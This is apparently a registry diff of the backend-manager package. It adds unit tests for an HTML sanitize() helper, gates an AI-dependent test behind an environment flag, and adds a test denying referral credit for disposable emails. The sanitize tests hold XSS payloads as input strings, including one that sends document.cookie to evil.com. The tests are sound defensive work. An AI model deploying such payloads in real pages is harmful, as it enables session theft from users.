backend-manager 5.0.185 → 5.0.187

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,222 @@
1
+ /**
2
+ * Test: helpers/utilities.sanitize()
3
+ * Unit tests for HTML sanitization and trimming across all data types
4
+ *
5
+ * Run: npx mgr test helpers/sanitize
6
+ *
7
+ * Covers:
8
+ * - Pure schema fields (sanitized by default, opt-out with sanitize: false)
9
+ * - All non-schema fields (no schema, sanitize everything)
10
+ * - Combo: schema + non-schema fields together
11
+ */
12
+ const Utilities = require('../../src/manager/helpers/utilities.js');
13
+
14
+ // Mock Manager
15
+ const Manager = { libraries: {} };
16
+ const utilities = new Utilities(Manager);
17
+
18
+ module.exports = {
19
+ description: 'Utilities.sanitize()',
20
+ type: 'group',
21
+
22
+ tests: [
23
+ // ─── Strings ───
24
+
25
+ {
26
+ name: 'strips-script-tags',
27
+ async run({ assert }) {
28
+ const result = utilities.sanitize('<script>alert("xss")</script>hello');
29
+ assert.equal(result, 'hello', 'Should strip script tags');
30
+ },
31
+ },
32
+
33
+ {
34
+ name: 'strips-img-onerror',
35
+ async run({ assert }) {
36
+ const result = utilities.sanitize('<img src=x onerror="alert(1)">text');
37
+ assert.equal(result, 'text', 'Should strip img with onerror');
38
+ },
39
+ },
40
+
41
+ {
42
+ name: 'strips-nested-html-keeps-text',
43
+ async run({ assert }) {
44
+ const result = utilities.sanitize('<div><b>bold</b> and <i>italic</i></div>');
45
+ assert.equal(result, 'bold and italic', 'Should strip all tags but keep text');
46
+ },
47
+ },
48
+
49
+ {
50
+ name: 'trims-whitespace',
51
+ async run({ assert }) {
52
+ const result = utilities.sanitize(' hello world ');
53
+ assert.equal(result, 'hello world', 'Should trim');
54
+ },
55
+ },
56
+
57
+ {
58
+ name: 'strips-and-trims-together',
59
+ async run({ assert }) {
60
+ const result = utilities.sanitize(' <b>hello</b> ');
61
+ assert.equal(result, 'hello', 'Should strip tags and trim');
62
+ },
63
+ },
64
+
65
+ {
66
+ name: 'clean-string-unchanged',
67
+ async run({ assert }) {
68
+ const result = utilities.sanitize('just plain text');
69
+ assert.equal(result, 'just plain text', 'Clean string should pass through');
70
+ },
71
+ },
72
+
73
+ {
74
+ name: 'empty-string-unchanged',
75
+ async run({ assert }) {
76
+ const result = utilities.sanitize('');
77
+ assert.equal(result, '', 'Empty string should remain empty');
78
+ },
79
+ },
80
+
81
+ // ─── Primitives ───
82
+
83
+ {
84
+ name: 'null-returns-null',
85
+ async run({ assert }) {
86
+ assert.equal(utilities.sanitize(null), null, 'null should pass through');
87
+ },
88
+ },
89
+
90
+ {
91
+ name: 'undefined-returns-undefined',
92
+ async run({ assert }) {
93
+ assert.equal(utilities.sanitize(undefined), undefined, 'undefined should pass through');
94
+ },
95
+ },
96
+
97
+ {
98
+ name: 'number-passes-through',
99
+ async run({ assert }) {
100
+ assert.equal(utilities.sanitize(42), 42, 'Numbers should pass through');
101
+ },
102
+ },
103
+
104
+ {
105
+ name: 'boolean-passes-through',
106
+ async run({ assert }) {
107
+ assert.equal(utilities.sanitize(true), true, 'Booleans should pass through');
108
+ },
109
+ },
110
+
111
+ // ─── Non-schema objects (sanitize everything) ───
112
+
113
+ {
114
+ name: 'flat-object-sanitizes-all-strings',
115
+ async run({ assert }) {
116
+ const result = utilities.sanitize({
117
+ name: '<b>Evil Corp</b>',
118
+ count: 5,
119
+ active: true,
120
+ });
121
+ assert.equal(result.name, 'Evil Corp', 'Should strip HTML from name');
122
+ assert.equal(result.count, 5, 'Number should pass through');
123
+ assert.equal(result.active, true, 'Boolean should pass through');
124
+ },
125
+ },
126
+
127
+ {
128
+ name: 'deeply-nested-object-sanitizes',
129
+ async run({ assert }) {
130
+ const result = utilities.sanitize({
131
+ settings: {
132
+ brand: {
133
+ name: '<script>xss</script>Acme',
134
+ about: '<img src=x onerror=alert(1)>We sell stuff',
135
+ },
136
+ enabled: true,
137
+ },
138
+ });
139
+ assert.equal(result.settings.brand.name, 'Acme', 'Should strip deep nested script');
140
+ assert.equal(result.settings.brand.about, 'We sell stuff', 'Should strip deep nested img');
141
+ assert.equal(result.settings.enabled, true, 'Deep boolean should pass through');
142
+ },
143
+ },
144
+
145
+ // ─── Arrays ───
146
+
147
+ {
148
+ name: 'array-sanitizes-each-string',
149
+ async run({ assert }) {
150
+ const result = utilities.sanitize(['<b>one</b>', 'two', '<script>x</script>three']);
151
+ assert.equal(result[0], 'one', 'First element stripped');
152
+ assert.equal(result[1], 'two', 'Clean element unchanged');
153
+ assert.equal(result[2], 'three', 'Third element stripped');
154
+ },
155
+ },
156
+
157
+ {
158
+ name: 'array-of-objects',
159
+ async run({ assert }) {
160
+ const result = utilities.sanitize([
161
+ { name: '<b>Alice</b>' },
162
+ { name: '<i>Bob</i>' },
163
+ ]);
164
+ assert.equal(result[0].name, 'Alice', 'First object name stripped');
165
+ assert.equal(result[1].name, 'Bob', 'Second object name stripped');
166
+ },
167
+ },
168
+
169
+ {
170
+ name: 'mixed-array-types',
171
+ async run({ assert }) {
172
+ const result = utilities.sanitize(['<b>text</b>', 42, null, true]);
173
+ assert.equal(result[0], 'text', 'String stripped');
174
+ assert.equal(result[1], 42, 'Number passed through');
175
+ assert.equal(result[2], null, 'null passed through');
176
+ assert.equal(result[3], true, 'Boolean passed through');
177
+ },
178
+ },
179
+
180
+ // ─── XSS attack vectors ───
181
+
182
+ {
183
+ name: 'xss-event-handler',
184
+ async run({ assert }) {
185
+ assert.equal(utilities.sanitize('<div onmouseover="alert(1)">hover me</div>'), 'hover me');
186
+ },
187
+ },
188
+
189
+ {
190
+ name: 'xss-iframe',
191
+ async run({ assert }) {
192
+ assert.equal(utilities.sanitize('<iframe src="evil.com"></iframe>safe'), 'safe');
193
+ },
194
+ },
195
+
196
+ {
197
+ name: 'xss-svg-onload',
198
+ async run({ assert }) {
199
+ const result = utilities.sanitize('<svg onload="alert(1)">test</svg>');
200
+ assert.equal(result.includes('onload'), false, 'Should not contain onload');
201
+ },
202
+ },
203
+
204
+ {
205
+ name: 'xss-full-agent-creation-payload',
206
+ async run({ assert }) {
207
+ const result = utilities.sanitize({
208
+ name: '<img src=x onerror="fetch(\'https://evil.com?c=\'+document.cookie)">Agent',
209
+ welcomeMessage: 'Hello <script>document.location="https://evil.com"</script>',
210
+ brand: {
211
+ name: '"><script>alert("xss")</script>',
212
+ about: '<iframe src="https://evil.com"></iframe>About us',
213
+ },
214
+ });
215
+ assert.equal(result.name, 'Agent', 'name should be clean');
216
+ assert.equal(result.welcomeMessage.includes('<script>'), false, 'welcomeMessage should not have script');
217
+ assert.equal(result.brand.name.includes('<script>'), false, 'brand.name should not have script');
218
+ assert.equal(result.brand.about, 'About us', 'brand.about should be clean');
219
+ },
220
+ },
221
+ ],
222
+ };
@@ -130,9 +130,10 @@ module.exports = {
130
130
  },
131
131
  },
132
132
 
133
- // Test 5: Name inferred from email
133
+ // Test 5: Name inferred from email (AI only — requires extended mode)
134
134
  {
135
135
  name: 'add-name-inferred-from-email',
136
+ skip: !process.env.TEST_EXTENDED_MODE ? 'TEST_EXTENDED_MODE not set (AI inference requires OPENAI_API_KEY)' : false,
136
137
  auth: 'admin',
137
138
  timeout: 30000,
138
139
 
@@ -196,6 +196,44 @@ module.exports = {
196
196
  },
197
197
  },
198
198
 
199
+ // --- Disposable email referral test ---
200
+ {
201
+ name: 'disposable-email-referral-skipped',
202
+ async run({ http, firestore, assert, state, accounts }) {
203
+ // Record current referral count before disposable signup
204
+ const referrerBefore = await firestore.get(`users/${state.referrerUid}`);
205
+ const referralsBefore = referrerBefore?.affiliate?.referrals || [];
206
+ state.referralCountBefore = referralsBefore.length;
207
+
208
+ // Sign up a disposable email account with the referrer's affiliate code
209
+ // The signup itself should succeed (account was created via Admin SDK, bypassing beforeCreate)
210
+ // But the referral credit should be SKIPPED because the email is disposable
211
+ const signupResponse = await http.as('referred-disposable').post('user/signup', {
212
+ attribution: {
213
+ affiliate: { code: state.referrerAffiliateCode },
214
+ },
215
+ });
216
+
217
+ assert.isSuccess(signupResponse, 'Disposable email signup should succeed');
218
+
219
+ // Verify NO new referral was added to the referrer
220
+ // Small delay to ensure any async writes would have completed
221
+ await new Promise((resolve) => setTimeout(resolve, 3000));
222
+
223
+ const referrerAfter = await firestore.get(`users/${state.referrerUid}`);
224
+ const referralsAfter = referrerAfter?.affiliate?.referrals || [];
225
+
226
+ assert.equal(
227
+ referralsAfter.length,
228
+ state.referralCountBefore,
229
+ `Referrer should NOT get credit for disposable email referral (before=${state.referralCountBefore}, after=${referralsAfter.length})`
230
+ );
231
+
232
+ const disposableReferral = referralsAfter.find(r => r.uid === accounts['referred-disposable'].uid);
233
+ assert.ok(!disposableReferral, 'Disposable account should NOT appear in referrals');
234
+ },
235
+ },
236
+
199
237
  // --- Auth rejection test (at end per convention) ---
200
238
  {
201
239
  name: 'unauthenticated-rejected',